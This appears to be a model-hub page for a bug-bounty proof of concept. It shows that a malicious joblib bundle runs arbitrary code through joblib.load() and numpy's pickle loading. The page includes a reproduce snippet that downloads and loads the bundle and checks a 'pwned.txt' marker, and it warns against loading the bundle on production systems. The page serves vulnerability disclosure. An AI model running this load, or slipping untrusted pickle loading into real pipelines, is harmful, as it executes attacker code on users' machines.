You can deploy this model and start earning money today!

spartan8806/
joblib-rce-poc

Views

No views yet

joblib RCE PoC (huntr submission)

Two-file malicious joblib bundle demonstrating arbitrary code execution via joblib.load() -> NDArrayWrapper.read() -> numpy.load(..., allow_pickle=True).

Do not load this with joblib.load() on a production system. It runs code.

Reproduce

python

from huggingface_hub import snapshot_download
import joblib, os
d = snapshot_download(repo_id="spartan8806/joblib-rce-poc")
joblib.load(os.path.join(d, "model.joblib"))
print("marker:", open(os.path.join(d, "pwned.txt")).read())

See the huntr report for full analysis.